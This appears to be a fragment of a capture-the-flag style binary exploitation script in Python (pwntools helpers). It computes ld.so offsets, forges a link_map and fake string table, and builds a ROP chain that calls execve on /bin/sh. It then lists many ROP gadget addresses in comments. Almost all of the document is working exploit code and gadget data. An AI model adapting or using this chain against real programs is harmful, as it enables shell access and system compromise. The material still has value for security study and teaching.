LOGTOOL['ld_base']=ld_base
link_map=ld_base+0x3b2e0
LOGTOOL['link_map']=link_map
syscall=ld_base+0xcbc6
mmap_addr=ld_base-0x4000
fake_strtab_ptr=mmap_addr+0x10
fake_strtab=mmap_addr+0x20
pop_rax_rdx_rbx=ld_base+0x20322
pop_rdi=ld_base+0x351e
pop_rsi=ld_base+0x54da
pop_rdx2=ld_base+0x020323
sh=mmap_addr+0x400
lr=ld_base+0x68AF
paylaod=p64(mmap_addr)+p64(pop_rax_rdx_rbx)+p64(59)+p64(0)+p64(0)+p64(pop_rsi)+p64(0)+p64(pop_rdi)+p64(sh)+p64(syscall)
clean()
pay=p64(0)*2+p64(5)+p64(fake_strtab)+0x97*b'a'+b'\x00'+b'openat64\x00\00'
payload0=pay.ljust(0x100,b'\x00')+paylaod.ljust(0x300)+b'/bin/sh\x00\n'
add(payload0)
debug()
#signa(0,'a'*0x40+'\n')
signa(link_map-mmap_addr+0x68-8,b'\x01'*8+p64(fake_strtab_ptr)+b'\x00'*0x10+p64(sh-0x300)+p64(lr)+b'\n')
#check_match
LOGALL()
it()
# 0x000000000000cbc6 : syscall
# 0x000000000000307f : pop r12 ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
# 0x0000000000003517 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x00000000000054d5 : pop r12 ; pop r13 ; pop r14 ; ret
# 0x000000000000669e : pop r12 ; pop r13 ; ret
# 0x00000000000021d2 : pop r12 ; ret
# 0x0000000000003081 : pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
# 0x0000000000003519 : pop r13 ; pop r14 ; pop r15 ; ret
# 0x00000000000054d7 : pop r13 ; pop r14 ; ret
# 0x00000000000066a0 : pop r13 ; ret
# 0x0000000000003083 : pop r14 ; pop r15 ; pop rbp ; ret
# 0x000000000000351b : pop r14 ; pop r15 ; ret
# 0x00000000000054d9 : pop r14 ; ret
# 0x0000000000003085 : pop r15 ; pop rbp ; ret
# 0x000000000000351d : pop r15 ; ret
# 0x0000000000020322 : pop rax ; pop rdx ; pop rbx ; ret
# 0x0000000000003516 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x00000000000054d4 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; ret
# 0x000000000000669d : pop rbp ; pop r12 ; pop r13 ; ret
# 0x00000000000021d1 : pop rbp ; pop r12 ; ret
# 0x0000000000003082 : pop rbp ; pop r14 ; pop r15 ; pop rbp ; ret
# 0x000000000000351a : pop rbp ; pop r14 ; pop r15 ; ret
# 0x00000000000054d8 : pop rbp ; pop r14 ; ret
# 0x0000000000002267 : pop rbp ; ret
# 0x0000000000025af1 : pop rbx ; pop r12 ; ret
# 0x00000000000054d3 : pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; ret
# 0x000000000000669c : pop rbx ; pop rbp ; pop r12 ; pop r13 ; ret
# 0x00000000000021d0 : pop rbx ; pop rbp ; pop r12 ; ret
# 0x0000000000002266 : pop rbx ; pop rbp ; ret
# 0x0000000000003499 : pop rbx ; ret
# 0x0000000000003086 : pop rdi ; pop rbp ; ret
# 0x000000000000351e : pop rdi ; ret
# 0x000000000000e4bc : pop rdi ; ret 2
# 0x0000000000020323 : pop rdx ; pop rbx ; ret
# 0x0000000000003084 : pop rsi ; pop r15 ; pop rbp ; ret
# 0x000000000000351c : pop rsi ; pop r15 ; ret
# 0x00000000000054da : pop rsi ; ret
# 0x0000000000003080 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
# 0x0000000000003518 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x00000000000054d6 : pop rsp ; pop r13 ; pop r14 ; ret
# 0x000000000000669f : pop rsp ; pop r13 ; ret
# 0x00000000000021d3 : pop rsp ; ret